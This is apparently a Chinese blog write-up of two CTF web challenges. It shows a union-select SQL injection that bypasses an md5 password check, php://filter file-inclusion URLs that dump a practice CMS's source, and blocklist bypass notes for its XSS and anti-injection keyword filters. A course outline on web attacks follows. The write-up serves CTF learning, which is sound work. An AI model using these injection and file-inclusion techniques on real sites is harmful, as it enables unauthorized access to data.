CG_CTF web篇 SQL注入2&综合题2

SQL注入2
打开source查看源代码

<?php
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);//密码经过md5加密
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {//strcasecmp比较两个字符串,不分大小写
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}
?>

$ query是存储SQL命令集的数组,$ query[pw]是其中一条数据
有!所以$pass, $query[pw]两个变量在比较下要返回0,即 $pass,比 $query[pw],两者相等

注入点 $query = @mysql_fetch_array(mysql_query(“select pw from ctf where user=’ $user’”));的 $user
select pw from ctf where user=‘union select md5(1)’#’ //#用来注释后面的闭合
select从数据库选数据,pw是cyf表中的一列,where提取满足user= $user的pw数据,union用于合并两个或多个结果集,
所以 $user 为md5(1)的结果是where要提取的,如果这个结果存在,则能提取出来, $query[pw]存在,当 $pass 也为md5(1)的时候strcasecmp( $pass, $query[pw]=0),所以if (( $query[pw]) && (!strcasecmp( $pass, $query[pw])))这个条件满足
不仅仅是md5(1)可以试其他

综合题2

打开是一个网页,搜索留言:flag
在这里插入图片描述
需要修改为正确的USER-AGENT

尝试留言,提示看源代码,但是感觉没什么异常。
最后点击本CMS说明,是有用信息
”很明显,这是安装后留下来忘删除的文件。。。 至于链接会出现在主页上,这就要问管理员了。。。 ===华丽的分割线= 本CMS由Funny公司开发的公司留言板系统,据本技术总监说,此CMS采用国际 顶级的技术所开发,安全性和实用性杠杠滴~ 以下是本CMS各文件的功能说明(由于程序猿偷懒,只列了部分文件) config.php:存放数据库信息,移植此CMS时要修改 index.php:主页文件 passencode.php:Funny公司自写密码加密算法库 say.php:用于接收和处理用户留言请求 sm.txt:本CMS的说明文档 sae的information_schema表好像没法检索,我在这里给出admin表结构 create table admin ( id integer, username text, userpass text, ) ======================================================================== 下面是正经的:本渗透测试平台由:三只小潴(root#zcnhonker.net)& 冷爱(hh250@qq.com)开 发.由你们周老大我辛苦修改,不能题目都被AK嘛,你们说是不是。所以这一题。。你们做出来也算你们吊咯“
config.php:存放数据库信息,移植此CMS时要修改
index.php:主页文件
passencode.php:Funny公司自写密码加密算法库
say.php:用于接收和处理用户留言请求
sm.txt:本CMS的说明文档
sae的information_schema表
admin表结构 create table admin ( id integer, username text, userpass text, )
另外
about.php:包含sm.txt的php文件
so.php:搜索留言时发现的php文件
这里有可能是注入
又看到
在这里插入图片描述
这里应该也是文件包含,可以使用php伪协议读取文件

1.包含文件

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=index.php
<?php
if(!isset($_COOKIE['username'])){
setcookie('username','');
setcookie('userpass','');
}
?>
    <?php
	//这里输出用户留言 
	include 'antixss.php';//包含了这两个文件
	include 'config.php';
	$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
    mysql_select_db($db_name,$con);
	$page=$_GET['page'];
	if($page=="" || $page==0){
	 $page='1';
	 }
	$page=intval($page);
	$start=($page-1)*7;
	$last=$page*7;
	$result=mysql_query("SELECT * FROM `message` WHERE display=1 ORDER BY id LIMIT $start,$last");
	if(mysql_num_rows($result)>0){
	while($rs=mysql_fetch_array($result)){
	echo htmlspecialchars($rs['nice'],ENT_QUOTES).":<br />";
	echo '&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br /><hr />';
	}
	}
	mysql_free_result($result);
	?>
	<center>
	
	  <p><a href="index.php">首页</a>
        <?php
	$contents=mysql_query("SELECT * FROM `message` WHERE display=1");
	if(mysql_num_rows($contents)>0){
	$num=mysql_num_rows($contents);
	if($num%8!=0){
	$pagenum=intval($num/8)+1;
	}else{
	$pagenum=intval($num/8);
	}
	for($i=1;$i<=$pagenum;$i++){
	echo '<a href="index.php?page='.htmlspecialchars($i).'">'.htmlspecialchars($i).'</a>&nbsp;';
	}
	}
	mysql_free_result($contents);
	mysql_close($con);
	?>
	        <a href="index.php?page=<?php echo htmlspecialchars($pagenum);?>">尾页</a>
	 </p>
	 <form method="post" action="./so.php">
	   留言搜索(输入ID):
	 <input name="soid" type="text" id="soid" />
	 <input type="submit"  value="搜索"/>
	 </form>
    </center>
  </div>
  <hr />
  <div id="say" name="say" align="left" style="width:1024px"> 
  <h2>留言:</h2>
  <form method="post" action="./preview.php">
  <span class="STYLE1">昵称:</span>
  <input name="nice" type="text" id="nice"
  <?php
  //这里是获取昵称的cookie再显示  value=""
  $username=$_COOKIE['username'];
  $username=htmlspecialchars($username,ENT_QUOTES);
  echo ' value="'.$username.'" ';
  ?> />
  </label>
    <p class="STYLE1">内容:<br />
    &nbsp;&nbsp;&nbsp;<textarea style="width:800px;height:100px" name="usersay" id="usersay"></textarea>
    <label>
        <br />
        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
        <input onclick="return checkform()" type="submit" name="Submit" style="width:600px;height:50px" value="预览" />
        </label>
      <br />
&nbsp;&nbsp;&nbsp;&nbsp;(可用[a]网址[/a]代替&lt;a href=&quot;网址&quot; &gt;网址&lt;/a&gt;) </p>
    </form>
  </div>
  <div>
    <h4><a href="./about.php?file=sm.txt">CMS说明</a></h4>
  </div>
  <div align="center">
  鸣谢·红客联盟(HUC)官网<br />
  </div>
</center>
<script>
function checkform(){
if(say.nice.value=="" || say.usersay.value==""){
alert("昵称或留言内容不能为空");
return false;
}else{
return true;
}
</script>
</body>
</html>

2.应该是预防xss攻击的码
下面是index.php包含的antixss.php

<?php
function antixss($content){
preg_match("/(.*)\[a\](.*)\[\/a\](.*)/",$content,$url);
$key=array("(",")","&","\\","<",">","'","%28","%29"," on","data","src","eval","unescape","innerHTML","document","appendChild","createElement","write","String","setTimeout","cookie");//因为太菜,很懒,所以。。。(过滤规则来自Mramydnei)
$re=$url[2];
if(count($url)==0){
return htmlspecialchars($content);
}else{
for($i=0;$i<=count($key);$i++){
$re=str_replace($key[$i], '_',$re);
}
return htmlspecialchars($url[1],ENT_QUOTES).'<a href="'.$re.'">'.$re.'</a>'.htmlspecialchars($url[3],ENT_QUOTES);
}
}
?>

3.将输入密码变为ASCII码存储
以下

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=passencode.php
<?php
function passencode($content){
//$pass=urlencode($content);
$array=str_split($content);
$pass="";
for($i=0;$i<count($array);$i++){
if($pass!=""){
$pass=$pass." ".(string)ord($array[$i]);
}else{
$pass=(string)ord($array[$i]);
}
}
return $pass;
}
?>

4.大概处理留言内容

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=say.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
include 'config.php';
$nice=$_POST['nice'];
$say=$_POST['usersay'];
if(!isset($_COOKIE['username'])){
setcookie('username',$nice);
setcookie('userpass','');
}
$username=$_COOKIE['username'];
$userpass=$_COOKIE['userpass'];
if($nice=="" || $say==""){
echo "<script>alert('昵称或留言内容不能为空!(如果有内容也弹出此框,不是网站问题喔~ 好吧,给个提示:查看页面源码有惊喜!)');</script>";
exit();
}
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$nice=mysql_real_escape_string($nice);
$username=mysql_real_escape_string($username);
$userpass=mysql_real_escape_string($userpass);
$result=mysql_query("SELECT username FROM admin where username='$nice'",$con);
$login=mysql_query("SELECT * FROM admin where username='$username' AND userpass='$userpass'",$con);
if(mysql_num_rows($result)>0 && mysql_num_rows($login)<=0){
echo "<script>alert('昵称已被使用,请更换!');</script>";
mysql_free_result($login);
mysql_free_result($result);
mysql_close($con);
exit();
}
mysql_free_result($login);
mysql_free_result($result);
$say=mysql_real_escape_string($say);
mysql_query("insert into message (nice,say,display) values('$nice','$say',0)",$con);
mysql_close($con);
echo '<script>alert("构建和谐社会,留言需要经过管理员审核才可以显示!");window.location = "./index.php"</script>';
?>

5.发现敏感目录loginxlcteam

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=about.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){//不能获得config.php的原因strchr() 函数搜索文件在敏感目录中的第一次出现。区分大小写
echo "file参数不能为空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");//strchr() 函数搜索文件在敏感目录中的第一次出现。区分大小写
if($cut==false){//此文件没有出现在敏感目录
$data=file_get_contents($file);
$date=htmlspecialchars($data);//htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。默认。仅编码双引号。
echo $date;
}else{
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}

6.包含文件

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=so.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>搜索留言</title>
</head>

<body>
<center>
<div id="say" name="say" align="left" style="width:1024px">
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){//user_agent出现了
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
    exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
</div>
</center>
</body>
</html>

7.`so.php包含的antiinject.php是一个防注入文件

<?php function antiinject($ content){ $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="); $info=strtolower( $content); for( $i=0; $i<=count( $keyword); $i++){ $ info=str_replace( $ keyword[ $i], '', $info); } return $info; } ?>

在这里插入图片描述

查看过文件源代码后
尝试访问敏感目录

http://cms.nuptzj.cn/loginxlcteam/

在这里插入图片描述
看到上面文件存在防止sql注入的,双写绕过,空格用注释或括号绕过
源码
admin表结构 create table admin ( id integer, username text, userpass text, )
$ id=$_POST[‘soid’];
$result=mysql_query(“SELECT * FROM message WHERE display=1 AND id= $id”);
$id没有双引号括着

由so.php得首先要先修改user_agent为Xlcteam Browser,才能进行注入,可以抓包修改
我用火狐修改,修改方式如下https://www.cnblogs.com/oceanking/p/4321304.html
在这里插入图片描述
我不知道是不是真的没了**😦**

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
第1章 注入类 课时1:SQL注入原理与利用 19'40 课时2:SQL注入宽字节原理与利用42'08 课时3:SQL Union注入原理与利用01'01'54 课时4:SQL注入布尔注入50'02 课时5:报错注入原理与利用29'27 课时6:CTF SQL基于约束注入原理与利用12'22 课时7:SQL注入基于时间注入的原理与利用50'13 课时8:SQL基于时间盲注的Python自动化解题22'45 课时9:Sqlmap自动化注入工具介绍23'47 课时10:Sqlmap自动化注入实验 - POST注入13'34 课时11:SQL注入常用基础Trick18'15 第2章 代码执行与命令执行 课时1:代码执行介绍49'32 课时2:命令执行介绍20'14 课时3:命令执行分类20'12 课时4:命令执行技巧24'30 课时5:长度限制的命令执行25'46 课时6:无数字和字母命令执行10'27 第3章 文件上传与文件包含 课时1:文件上传漏洞原理与简单实验17'10 课时2:文件上传利用 - javascript客户端检查14'16 课时3:文件上传利用 - MIME类型检查10'50 课时4:文件上传利用 - 黑名单检查11'46 课时5:白名单检查13'09 课时6:Magic Header检查13'04 课时7:竞争上传21'10 课时8:简单利用15'47 课时9:文件包含介绍 - 伪协议zip和phar利用17'56 课时10:文件包含介绍-伪协议phpfilter利用04'54 课时11:日志文件利用07'58 课时12:日志文件利用session会话利用17'43 第4章 SSRF 课时1:SSRF介绍与简单利用19'14 课时2:SSRF限制绕过策略13'07 课时3:SSRF中可以使用的协议分析17'44 课时4:Linux基础知识21'37 课时5:Redis未授权访问漏洞利用与防御16'17 课时6:Redis未授权添加ssh密钥f17'04 第5章 第五章 课时1:XXE-XML基础必备24'47 课时2:XXEXML盲注利用技巧18'22 第6章 第六章 课时1:序列化和反序列化介绍15'49 课时2:PHP反序列化识别与利用14'22 课时3:PHP序列化特殊点介绍15'28 课时4:魔术方法20'35 课时5:序列化漏洞案例 - 任意命令执行05'53 课时6:Phar反序列化10'38 第7章 第7章 Python基础 课时1:7.1-Requests模块安装与介绍15'28 课时2:7.2-Python requests库 使用18'26 课时3:7.3-XSS自动化检测13'23 课时4:7.4-Python-SQL自动化检测07'59 课时5:7.5-Python 源码泄露自动化挖掘23'38 第8章 第8章 SSTI模板注入 课时1:8.1-Flask框架介绍与基础39'14 课时2:8.2-RCE 文件读写23'37 课时3:8.3-SSTI Trick技巧27'13
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值